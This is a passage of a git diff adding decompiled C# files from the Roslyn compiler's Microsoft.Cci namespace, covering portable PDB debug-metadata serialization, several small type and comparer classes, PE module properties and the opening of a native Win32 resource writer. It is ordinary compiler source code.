} + if (value.GetType() == typeof(bool)) + { + return SignatureTypeCode.Boolean; + } + if (value.GetType() == typeof(char)) + { + return SignatureTypeCode.Char; + } + if (value.GetType() == typeof(byte)) + { + return SignatureTypeCode.Byte; + } + if (value.GetType() == typeof(long)) + { + return SignatureTypeCode.Int64; + } + if (value.GetType() == typeof(double)) + { + return SignatureTypeCode.Double; + } + if (value.GetType() == typeof(short)) + { + return SignatureTypeCode.Int16; + } + if (value.GetType() == typeof(ushort)) + { + return SignatureTypeCode.UInt16; + } + if (value.GetType() == typeof(uint)) + { + return SignatureTypeCode.UInt32; + } + if (value.GetType() == typeof(sbyte)) + { + return SignatureTypeCode.SByte; + } + if (value.GetType() == typeof(ulong)) + { + return SignatureTypeCode.UInt64; + } + if (value.GetType() == typeof(float)) + { + return SignatureTypeCode.Single; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/MetadataWriter.PortablePdb.cs", 317); + } + + private void SerializeImport(BlobBuilder writer, AssemblyReferenceAlias alias) + { + writer.WriteByte(6); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(alias.Name))); + writer.WriteCompressedInteger(MetadataTokens.GetRowNumber(GetOrAddAssemblyReferenceHandle(alias.Assembly))); + } + + private void SerializeImport(BlobBuilder writer, UsedNamespaceOrType import) + { + if (import.TargetXmlNamespaceOpt != null) + { + writer.WriteByte(4); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(import.AliasOpt))); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(import.TargetXmlNamespaceOpt))); + } + else if (import.TargetTypeOpt != null) + { + if (import.AliasOpt != null) + { + writer.WriteByte(9); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(import.AliasOpt))); + } + else + { + writer.WriteByte(3); + } + writer.WriteCompressedInteger(CodedIndex.TypeDefOrRefOrSpec(GetTypeHandle(import.TargetTypeOpt))); + } + else if (import.TargetNamespaceOpt != null) + { + if (import.TargetAssemblyOpt != null) + { + if (import.AliasOpt != null) + { + writer.WriteByte(8); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(import.AliasOpt))); + } + else + { + writer.WriteByte(2); + } + writer.WriteCompressedInteger(MetadataTokens.GetRowNumber(GetAssemblyReferenceHandle(import.TargetAssemblyOpt))); + } + else if (import.AliasOpt != null) + { + writer.WriteByte(7); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(import.AliasOpt))); + } + else + { + writer.WriteByte(1); + } + string value = TypeNameSerializer.BuildQualifiedNamespaceName(import.TargetNamespaceOpt); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(value))); + } + else + { + writer.WriteByte(5); + writer.WriteCompressedInteger(MetadataTokens.GetHeapOffset(_debugMetadataOpt.GetOrAddBlobUTF8(import.AliasOpt))); + } + } + + private void DefineModuleImportScope() + { + BlobBuilder blobBuilder = new BlobBuilder(); + SerializeModuleDefaultNamespace(); + ImmutableArray.Enumerator enumerator = module.GetAssemblyReferenceAliases(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblyReferenceAlias current = enumerator.Current; + SerializeImport(blobBuilder, current); + } + ImmutableArray.Enumerator enumerator2 = module.GetImports().GetEnumerator(); + while (enumerator2.MoveNext()) + { + UsedNamespaceOrType current2 = enumerator2.Current; + SerializeImport(blobBuilder, current2); + } + _debugMetadataOpt.AddImportScope(default(ImportScopeHandle), _debugMetadataOpt.GetOrAddBlob(blobBuilder)); + } + + private ImportScopeHandle GetImportScopeIndex(IImportScope scope, Dictionary scopeIndex) + { + if (scopeIndex.TryGetValue(scope, out var value)) + { + return value; + } + ImportScopeHandle parentScope = ((scope.Parent != null) ? GetImportScopeIndex(scope.Parent, scopeIndex) : ModuleImportScopeHandle); + ImportScopeHandle importScopeHandle = _debugMetadataOpt.AddImportScope(parentScope, SerializeImportsBlob(scope)); + scopeIndex.Add(scope, importScopeHandle); + return importScopeHandle; + } + + private BlobHandle SerializeImportsBlob(IImportScope scope) + { + BlobBuilder blobBuilder = new BlobBuilder(); + ImmutableArray.Enumerator enumerator = scope.GetUsedNamespaces(Context).GetEnumerator(); + while (enumerator.MoveNext()) + { + UsedNamespaceOrType current = enumerator.Current; + SerializeImport(blobBuilder, current); + } + return _debugMetadataOpt.GetOrAddBlob(blobBuilder); + } + + private void SerializeModuleDefaultNamespace() + { + if (module.DefaultNamespace != null) + { + _debugMetadataOpt.AddCustomDebugInformation(EntityHandle.ModuleDefinition, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.DefaultNamespace), _debugMetadataOpt.GetOrAddBlobUTF8(module.DefaultNamespace)); + } + } + + private void SerializeLocalInfo(ILocalDefinition local, EntityHandle parent) + { + ImmutableArray dynamicTransformFlags = local.DynamicTransformFlags; + if (!dynamicTransformFlags.IsEmpty) + { + ImmutableArray value = SerializeBitVector(dynamicTransformFlags); + _debugMetadataOpt.AddCustomDebugInformation(parent, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.DynamicLocalVariables), _debugMetadataOpt.GetOrAddBlob(value)); + } + ImmutableArray tupleElementNames = local.TupleElementNames; + if (!tupleElementNames.IsEmpty) + { + BlobBuilder blobBuilder = new BlobBuilder(); + SerializeTupleElementNames(blobBuilder, tupleElementNames); + _debugMetadataOpt.AddCustomDebugInformation(parent, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.TupleElementNames), _debugMetadataOpt.GetOrAddBlob(blobBuilder)); + } + } + + private static ImmutableArray SerializeBitVector(ImmutableArray vector) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = 0; + int num2 = 0; + for (int i = 0; i < vector.Length; i++) + { + if (vector[i]) + { + num |= 1 << num2; + } + if (num2 == 7) + { + instance.Add((byte)num); + num = 0; + num2 = 0; + } + else + { + num2++; + } + } + if (num != 0) + { + instance.Add((byte)num); + } + else + { + int num3 = instance.Count - 1; + while (instance[num3] == 0) + { + num3--; + } + instance.Clip(num3 + 1); + } + return instance.ToImmutableAndFree(); + } + + private static void SerializeTupleElementNames(BlobBuilder builder, ImmutableArray names) + { + ImmutableArray.Enumerator enumerator = names.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + WriteUtf8String(builder, current ?? string.Empty); + } + } + + private static void WriteUtf8String(BlobBuilder builder, string str) + { + builder.WriteUTF8(str); + builder.WriteByte(0); + } + + private void SerializeAsyncMethodSteppingInfo(AsyncMoveNextBodyDebugInfo asyncInfo, MethodDefinitionHandle moveNextMethod, int aggregateMethodDefRid) + { + BlobBuilder blobBuilder = new BlobBuilder(); + blobBuilder.WriteUInt32((uint)((ulong)asyncInfo.CatchHandlerOffset + 1uL)); + for (int i = 0; i < asyncInfo.ResumeOffsets.Length; i++) + { + blobBuilder.WriteUInt32((uint)asyncInfo.YieldOffsets[i]); + blobBuilder.WriteUInt32((uint)asyncInfo.ResumeOffsets[i]); + blobBuilder.WriteCompressedInteger(aggregateMethodDefRid); + } + _debugMetadataOpt.AddCustomDebugInformation(moveNextMethod, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.AsyncMethodSteppingInformationBlob), _debugMetadataOpt.GetOrAddBlob(blobBuilder)); + } + + private void SerializeStateMachineLocalScopes(IMethodBody methodBody, MethodDefinitionHandle method) + { + ImmutableArray stateMachineHoistedLocalScopes = methodBody.StateMachineHoistedLocalScopes; + if (!stateMachineHoistedLocalScopes.IsDefaultOrEmpty) + { + BlobBuilder blobBuilder = new BlobBuilder(); + ImmutableArray.Enumerator enumerator = stateMachineHoistedLocalScopes.GetEnumerator(); + while (enumerator.MoveNext()) + { + StateMachineHoistedLocalScope current = enumerator.Current; + blobBuilder.WriteUInt32((uint)current.StartOffset); + blobBuilder.WriteUInt32((uint)current.Length); + } + _debugMetadataOpt.AddCustomDebugInformation(method, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.StateMachineHoistedLocalScopes), _debugMetadataOpt.GetOrAddBlob(blobBuilder)); + } + } + + private BlobHandle SerializeSequencePoints(StandaloneSignatureHandle localSignatureHandleOpt, ImmutableArray sequencePoints, Dictionary documentIndex, out DocumentHandle singleDocumentHandle) + { + if (sequencePoints.Length == 0) + { + singleDocumentHandle = default(DocumentHandle); + return default(BlobHandle); + } + BlobBuilder blobBuilder = new BlobBuilder(); + int num = -1; + int num2 = -1; + blobBuilder.WriteCompressedInteger(MetadataTokens.GetRowNumber(localSignatureHandleOpt)); + DebugSourceDocument debugSourceDocument = TryGetSingleDocument(sequencePoints); + singleDocumentHandle = ((debugSourceDocument != null) ? GetOrAddDocument(debugSourceDocument, documentIndex) : default(DocumentHandle)); + for (int i = 0; i < sequencePoints.Length; i++) + { + DebugSourceDocument document = sequencePoints[i].Document; + if (debugSourceDocument != document) + { + DocumentHandle orAddDocument = GetOrAddDocument(document, documentIndex); + if (debugSourceDocument != null) + { + blobBuilder.WriteCompressedInteger(0); + } + blobBuilder.WriteCompressedInteger(MetadataTokens.GetRowNumber(orAddDocument)); + debugSourceDocument = document; + } + if (i > 0) + { + blobBuilder.WriteCompressedInteger(sequencePoints[i].Offset - sequencePoints[i - 1].Offset); + } + else + { + blobBuilder.WriteCompressedInteger(sequencePoints[i].Offset); + } + if (sequencePoints[i].IsHidden) + { + blobBuilder.WriteInt16(0); + continue; + } + SerializeDeltaLinesAndColumns(blobBuilder, sequencePoints[i]); + if (num < 0) + { + blobBuilder.WriteCompressedInteger(sequencePoints[i].StartLine); + blobBuilder.WriteCompressedInteger(sequencePoints[i].StartColumn); + } + else + { + blobBuilder.WriteCompressedSignedInteger(sequencePoints[i].StartLine - num); + blobBuilder.WriteCompressedSignedInteger(sequencePoints[i].StartColumn - num2); + } + num = sequencePoints[i].StartLine; + num2 = sequencePoints[i].StartColumn; + } + return _debugMetadataOpt.GetOrAddBlob(blobBuilder); + } + + private static DebugSourceDocument TryGetSingleDocument(ImmutableArray sequencePoints) + { + DebugSourceDocument document = sequencePoints[0].Document; + for (int i = 1; i < sequencePoints.Length; i++) + { + if (sequencePoints[i].Document != document) + { + return null; + } + } + return document; + } + + private void SerializeDeltaLinesAndColumns(BlobBuilder writer, SequencePoint sequencePoint) + { + int num = sequencePoint.EndLine - sequencePoint.StartLine; + int value = sequencePoint.EndColumn - sequencePoint.StartColumn; + writer.WriteCompressedInteger(num); + if (num == 0) + { + writer.WriteCompressedInteger(value); + } + else + { + writer.WriteCompressedSignedInteger(value); + } + } + + private DocumentHandle GetOrAddDocument(DebugSourceDocument document, Dictionary index) + { + if (index.TryGetValue(document, out var value)) + { + return value; + } + return AddDocument(document, index); + } + + private DocumentHandle AddDocument(DebugSourceDocument document, Dictionary index) + { + DebugSourceInfo sourceInfo = document.GetSourceInfo(); + string value = document.Location; + if (_usingNonSourceDocumentNameEnumerator) + { + _nonSourceDocumentNameEnumerator.MoveNext(); + value = _nonSourceDocumentNameEnumerator.Current; + } + DocumentHandle documentHandle = _debugMetadataOpt.AddDocument(_debugMetadataOpt.GetOrAddDocumentName(value), sourceInfo.Checksum.IsDefault ? default(GuidHandle) : _debugMetadataOpt.GetOrAddGuid(sourceInfo.ChecksumAlgorithmId), sourceInfo.Checksum.IsDefault ? default(BlobHandle) : _debugMetadataOpt.GetOrAddBlob(sourceInfo.Checksum), _debugMetadataOpt.GetOrAddGuid(document.Language)); + index.Add(document, documentHandle); + if (sourceInfo.EmbeddedTextBlob != null) + { + _debugMetadataOpt.AddCustomDebugInformation(documentHandle, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.EmbeddedSource), _debugMetadataOpt.GetOrAddBlob(sourceInfo.EmbeddedTextBlob)); + } + return documentHandle; + } + + public void AddRemainingDebugDocuments(IReadOnlyDictionary documents) + { + foreach (KeyValuePair item in from kvp in documents + where !_documentIndex.ContainsKey(kvp.Value) + orderby kvp.Key + select kvp) + { + AddDocument(item.Value, _documentIndex); + } + } + + private void SerializeEncMethodDebugInformation(IMethodBody methodBody, MethodDefinitionHandle method) + { + EditAndContinueMethodDebugInformation encMethodDebugInfo = GetEncMethodDebugInfo(methodBody); + if (!encMethodDebugInfo.LocalSlots.IsDefaultOrEmpty) + { + BlobBuilder blobBuilder = new BlobBuilder(); + encMethodDebugInfo.SerializeLocalSlots(blobBuilder); + _debugMetadataOpt.AddCustomDebugInformation(method, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.EncLocalSlotMap), _debugMetadataOpt.GetOrAddBlob(blobBuilder)); + } + if (!encMethodDebugInfo.Lambdas.IsDefaultOrEmpty) + { + BlobBuilder blobBuilder2 = new BlobBuilder(); + encMethodDebugInfo.SerializeLambdaMap(blobBuilder2); + _debugMetadataOpt.AddCustomDebugInformation(method, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.EncLambdaAndClosureMap), _debugMetadataOpt.GetOrAddBlob(blobBuilder2)); + } + if (!encMethodDebugInfo.StateMachineStates.IsDefaultOrEmpty) + { + BlobBuilder blobBuilder3 = new BlobBuilder(); + encMethodDebugInfo.SerializeStateMachineStates(blobBuilder3); + _debugMetadataOpt.AddCustomDebugInformation(method, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.EncStateMachineStateMap), _debugMetadataOpt.GetOrAddBlob(blobBuilder3)); + } + } + + private void EmbedSourceLink(Stream stream) + { + byte[] value; + try + { + value = stream.ReadAllBytes(); + } + catch (Exception ex) when (!(ex is OperationCanceledException)) + { + throw new SymUnmanagedWriterException(ex.Message, ex); + } + _debugMetadataOpt.AddCustomDebugInformation(EntityHandle.ModuleDefinition, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.SourceLink), _debugMetadataOpt.GetOrAddBlob(value)); + } + + private void EmbedCompilationOptions(CommonPEModuleBuilder module) + { + BlobBuilder builder = new BlobBuilder(); + RebuildData rebuildData = Context.RebuildData; + if (rebuildData != null) + { + BlobReader optionsBlobReader = rebuildData.OptionsBlobReader; + builder.WriteBytes(optionsBlobReader.ReadBytes(optionsBlobReader.RemainingBytes)); + } + else + { + string informationalVersion = typeof(Compilation).Assembly.GetCustomAttribute().InformationalVersion; + WriteValue("version", 2.ToString()); + WriteValue("compiler-version", informationalVersion); + WriteValue("language", module.CommonCompilation.Options.Language); + WriteValue("source-file-count", module.CommonCompilation.SyntaxTrees.Count().ToString()); + WriteValue("output-kind", module.OutputKind.ToString()); + if (module.EmitOptions.FallbackSourceFileEncoding != null) + { + WriteValue("fallback-encoding", module.EmitOptions.FallbackSourceFileEncoding.WebName); + } + if (module.EmitOptions.DefaultSourceFileEncoding != null) + { + WriteValue("default-encoding", module.EmitOptions.DefaultSourceFileEncoding.WebName); + } + int num = 0; + if (module.CommonCompilation.Options.AssemblyIdentityComparer is DesktopAssemblyIdentityComparer desktopAssemblyIdentityComparer) + { + num |= (desktopAssemblyIdentityComparer.PortabilityPolicy.SuppressSilverlightLibraryAssembliesPortability ? 1 : 0); + num |= (desktopAssemblyIdentityComparer.PortabilityPolicy.SuppressSilverlightPlatformAssembliesPortability ? 2 : 0); + } + if (num != 0) + { + WriteValue("portability-policy", num.ToString()); + } + OptimizationLevel optimizationLevel = module.CommonCompilation.Options.OptimizationLevel; + bool debugPlusMode = module.CommonCompilation.Options.DebugPlusMode; + bool flag = debugPlusMode; + (OptimizationLevel, bool) defaultValues = OptimizationLevelFacts.DefaultValues; + if (optimizationLevel != defaultValues.Item1 || flag != defaultValues.Item2) + { + WriteValue("optimization", optimizationLevel.ToPdbSerializedString(debugPlusMode)); + } + WriteValue("platform", module.CommonCompilation.Options.Platform.ToString()); + string value = typeof(object).Assembly.GetCustomAttribute()?.InformationalVersion; + WriteValue("runtime-version", value); + module.CommonCompilation.SerializePdbEmbeddedCompilationOptions(builder); + } + _debugMetadataOpt.AddCustomDebugInformation(EntityHandle.ModuleDefinition, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.CompilationOptions), _debugMetadataOpt.GetOrAddBlob(builder)); + void WriteValue(string key, string value2) + { + builder.WriteUTF8(key); + builder.WriteByte(0); + builder.WriteUTF8(value2); + builder.WriteByte(0); + } + } + + private void EmbedMetadataReferenceInformation(CommonPEModuleBuilder module) + { + BlobBuilder blobBuilder = new BlobBuilder(); + CommonReferenceManager boundReferenceManager = module.CommonCompilation.GetBoundReferenceManager(); + foreach (var referencedAssemblyAlias in boundReferenceManager.GetReferencedAssemblyAliases()) + { + if (!(boundReferenceManager.GetMetadataReference(referencedAssemblyAlias.AssemblySymbol) is PortableExecutableReference { FilePath: not null } portableExecutableReference)) + { + continue; + } + string fileName = PathUtilities.GetFileName(portableExecutableReference.FilePath); + PEReader pEReader = ((referencedAssemblyAlias.AssemblySymbol.GetISymbol() is IAssemblySymbol assemblySymbol) ? assemblySymbol.GetMetadata().GetAssembly().ManifestModule.PEReaderOpt : null); + if (pEReader != null) + { + blobBuilder.WriteUTF8(fileName); + blobBuilder.WriteByte(0); + if (referencedAssemblyAlias.Aliases.Length > 0) + { + blobBuilder.WriteUTF8(string.Join(",", ((IEnumerable)referencedAssemblyAlias.Aliases).OrderBy((IComparer?)StringComparer.Ordinal))); + } + blobBuilder.WriteByte(0); + byte b = (byte)(portableExecutableReference.Properties.EmbedInteropTypes ? 2u : 0u); + int num = b; + b = (byte)(num | (portableExecutableReference.Properties.Kind switch + { + MetadataImageKind.Assembly => 1, + MetadataImageKind.Module => 0, + _ => throw ExceptionUtilities.UnexpectedValue(portableExecutableReference.Properties.Kind), + })); + blobBuilder.WriteByte(b); + blobBuilder.WriteInt32(pEReader.PEHeaders.CoffHeader.TimeDateStamp); + blobBuilder.WriteInt32(pEReader.PEHeaders.PEHeader.SizeOfImage); + MetadataReader metadataReader = pEReader.GetMetadataReader(); + blobBuilder.WriteGuid(metadataReader.GetGuid(metadataReader.GetModuleDefinition().Mvid)); + } + } + _debugMetadataOpt.AddCustomDebugInformation(EntityHandle.ModuleDefinition, _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.CompilationMetadataReferences), _debugMetadataOpt.GetOrAddBlob(blobBuilder)); + } + + private void EmbedTypeDefinitionDocumentInformation(CommonPEModuleBuilder module) + { + BlobBuilder blobBuilder = new BlobBuilder(); + foreach (var item3 in module.GetTypeToDebugDocumentMap(Context)) + { + ITypeDefinition item = item3.Item1; + ImmutableArray item2 = item3.Item2; + ImmutableArray.Enumerator enumerator2 = item2.GetEnumerator(); + while (enumerator2.MoveNext()) + { + DebugSourceDocument current2 = enumerator2.Current; + DocumentHandle orAddDocument = GetOrAddDocument(current2, _documentIndex); + blobBuilder.WriteCompressedInteger(MetadataTokens.GetRowNumber(orAddDocument)); + } + _debugMetadataOpt.AddCustomDebugInformation(GetTypeDefinitionHandle(item), _debugMetadataOpt.GetOrAddGuid(PortableCustomDebugInfoKinds.TypeDefinitionDocuments), _debugMetadataOpt.GetOrAddBlob(blobBuilder)); + blobBuilder.Clear(); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MethodImplementation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MethodImplementation.cs new file mode 100644 index 0000000..943915b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MethodImplementation.cs @@ -0,0 +1,10 @@ +namespace Microsoft.Cci; + +internal readonly struct MethodImplementation(IMethodDefinition ImplementingMethod, IMethodReference ImplementedMethod) +{ + public readonly IMethodDefinition ImplementingMethod = ImplementingMethod; + + public readonly IMethodReference ImplementedMethod = ImplementedMethod; + + public ITypeDefinition ContainingType => ImplementingMethod.ContainingTypeDefinition; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MethodSpecComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MethodSpecComparer.cs new file mode 100644 index 0000000..2c78bd1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/MethodSpecComparer.cs @@ -0,0 +1,32 @@ +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal sealed class MethodSpecComparer : IEqualityComparer +{ + private readonly MetadataWriter _metadataWriter; + + internal MethodSpecComparer(MetadataWriter metadataWriter) + { + _metadataWriter = metadataWriter; + } + + public bool Equals(IGenericMethodInstanceReference? x, IGenericMethodInstanceReference? y) + { + if (x == y) + { + return true; + } + if (_metadataWriter.GetMethodDefinitionOrReferenceHandle(x.GetGenericMethod(_metadataWriter.Context)) == _metadataWriter.GetMethodDefinitionOrReferenceHandle(y.GetGenericMethod(_metadataWriter.Context))) + { + return _metadataWriter.GetMethodSpecificationSignatureHandle(x) == _metadataWriter.GetMethodSpecificationSignatureHandle(y); + } + return false; + } + + public int GetHashCode(IGenericMethodInstanceReference methodInstanceReference) + { + return Hash.Combine(_metadataWriter.GetMethodDefinitionOrReferenceHandle(methodInstanceReference.GetGenericMethod(_metadataWriter.Context)).GetHashCode(), _metadataWriter.GetMethodSpecificationSignatureHandle(methodInstanceReference).GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ModifiedTypeReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ModifiedTypeReference.cs new file mode 100644 index 0000000..725fb73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ModifiedTypeReference.cs @@ -0,0 +1,113 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal sealed class ModifiedTypeReference : IModifiedTypeReference, ITypeReference, IReference +{ + private readonly ITypeReference _modifiedType; + + private readonly ImmutableArray _customModifiers; + + ImmutableArray IModifiedTypeReference.CustomModifiers => _customModifiers; + + ITypeReference IModifiedTypeReference.UnmodifiedType => _modifiedType; + + bool ITypeReference.IsEnum + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ModifiedTypeReference.cs", 47); + } + } + + bool ITypeReference.IsValueType + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ModifiedTypeReference.cs", 52); + } + } + + PrimitiveTypeCode ITypeReference.TypeCode => PrimitiveTypeCode.NotPrimitive; + + TypeDefinitionHandle ITypeReference.TypeDef + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ModifiedTypeReference.cs", 67); + } + } + + IGenericMethodParameterReference? ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference? ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference? ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference? ITypeReference.AsNamespaceTypeReference => null; + + INestedTypeReference? ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference? ITypeReference.AsSpecializedNestedTypeReference => null; + + public ModifiedTypeReference(ITypeReference modifiedType, ImmutableArray customModifiers) + { + _modifiedType = modifiedType; + _customModifiers = customModifiers; + } + + ITypeDefinition ITypeReference.GetResolvedType(EmitContext context) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ModifiedTypeReference.cs", 57); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + INamespaceTypeDefinition? ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition? ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition? ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + IDefinition? IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal? IReference.GetInternalSymbol() + { + return null; + } + + public sealed override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ModifiedTypeReference.cs", 153); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/PEWriter/ModifiedTypeReference.cs", 159); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ModulePropertiesForSerialization.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ModulePropertiesForSerialization.cs new file mode 100644 index 0000000..c6f2fbd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ModulePropertiesForSerialization.cs @@ -0,0 +1,95 @@ +using System; +using System.Reflection.PortableExecutable; + +namespace Microsoft.Cci; + +internal sealed class ModulePropertiesForSerialization +{ + public readonly int FileAlignment; + + public readonly int SectionAlignment; + + public readonly string TargetRuntimeVersion; + + public readonly Machine Machine; + + public readonly Guid PersistentIdentifier; + + public readonly ulong BaseAddress; + + public readonly ulong SizeOfHeapReserve; + + public readonly ulong SizeOfHeapCommit; + + public readonly ulong SizeOfStackReserve; + + public readonly ulong SizeOfStackCommit; + + public readonly ushort MajorSubsystemVersion; + + public readonly ushort MinorSubsystemVersion; + + public readonly byte LinkerMajorVersion; + + public readonly byte LinkerMinorVersion; + + public const ulong DefaultExeBaseAddress32Bit = 4194304uL; + + public const ulong DefaultExeBaseAddress64Bit = 5368709120uL; + + public const ulong DefaultDllBaseAddress32Bit = 268435456uL; + + public const ulong DefaultDllBaseAddress64Bit = 6442450944uL; + + public const ulong DefaultSizeOfHeapReserve32Bit = 1048576uL; + + public const ulong DefaultSizeOfHeapReserve64Bit = 4194304uL; + + public const ulong DefaultSizeOfHeapCommit32Bit = 4096uL; + + public const ulong DefaultSizeOfHeapCommit64Bit = 8192uL; + + public const ulong DefaultSizeOfStackReserve32Bit = 1048576uL; + + public const ulong DefaultSizeOfStackReserve64Bit = 4194304uL; + + public const ulong DefaultSizeOfStackCommit32Bit = 4096uL; + + public const ulong DefaultSizeOfStackCommit64Bit = 16384uL; + + public const ushort DefaultFileAlignment32Bit = 512; + + public const ushort DefaultFileAlignment64Bit = 512; + + public const ushort DefaultSectionAlignment = 8192; + + public DllCharacteristics DllCharacteristics { get; } + + public Characteristics ImageCharacteristics { get; } + + public Subsystem Subsystem { get; } + + public CorFlags CorFlags { get; } + + internal ModulePropertiesForSerialization(Guid persistentIdentifier, CorFlags corFlags, int fileAlignment, int sectionAlignment, string targetRuntimeVersion, Machine machine, ulong baseAddress, ulong sizeOfHeapReserve, ulong sizeOfHeapCommit, ulong sizeOfStackReserve, ulong sizeOfStackCommit, DllCharacteristics dllCharacteristics, Characteristics imageCharacteristics, Subsystem subsystem, ushort majorSubsystemVersion, ushort minorSubsystemVersion, byte linkerMajorVersion, byte linkerMinorVersion) + { + PersistentIdentifier = persistentIdentifier; + FileAlignment = fileAlignment; + SectionAlignment = sectionAlignment; + TargetRuntimeVersion = targetRuntimeVersion; + Machine = machine; + BaseAddress = baseAddress; + SizeOfHeapReserve = sizeOfHeapReserve; + SizeOfHeapCommit = sizeOfHeapCommit; + SizeOfStackReserve = sizeOfStackReserve; + SizeOfStackCommit = sizeOfStackCommit; + LinkerMajorVersion = linkerMajorVersion; + LinkerMinorVersion = linkerMinorVersion; + MajorSubsystemVersion = majorSubsystemVersion; + MinorSubsystemVersion = minorSubsystemVersion; + ImageCharacteristics = imageCharacteristics; + Subsystem = subsystem; + DllCharacteristics = dllCharacteristics; + CorFlags = corFlags; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/NativeResourceWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/NativeResourceWriter.cs new file mode 100644 index 0000000..59feb74 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/NativeResourceWriter.cs @@ -0,0 +1,238 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Reflection.Metadata; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal static class NativeResourceWriter +{ + private class Directory + { + internal readonly string Name; + + internal readonly int ID; + + internal ushort NumberOfNamedEntries; + + internal ushort NumberOfIdEntries; + + internal readonly List Entries; + + internal Directory(string name, int id) + { + Name = name; + ID = id; + Entries = new List(); + } + } + + private static int CompareResources(IWin32Resource left, IWin32Resource right) + { + int num = CompareResourceIdentifiers(left.TypeId, left.TypeName, right.TypeId, right.TypeName); + if (num != 0) + { + return num; + } + return CompareResourceIdentifiers(left.Id, left.Name, right.Id, right.Name); + } + + private static int CompareResourceIdentifiers(int xOrdinal, string xString, int yOrdinal, string yString) + { + if (xString == null) + { + if (yString == null) + { + return xOrdinal - yOrdinal; + } + return 1; + } + if (yString == null) + { + return -1; + } + return string.Compare(xString, yString, StringComparison.OrdinalIgnoreCase); + } + + internal static IEnumerable SortResources(IEnumerable resources) + { + return resources.OrderBy(CompareResources); + } + + public static void SerializeWin32Resources(BlobBuilder builder, IEnumerable theResources, int resourcesRva) + { + theResources = SortResources(theResources); + Directory directory = new Directory(string.Empty, 0); + Directory directory2 = null; + Directory directory3 = null; + int num = int.MinValue; + string text = null; + int num2 = int.MinValue; + string text2 = null; + uint num3 = 16u; + foreach (IWin32Resource theResource in theResources) + { + int num4; + if (theResource.TypeId >= 0 || !(theResource.TypeName != text)) + { + num4 = 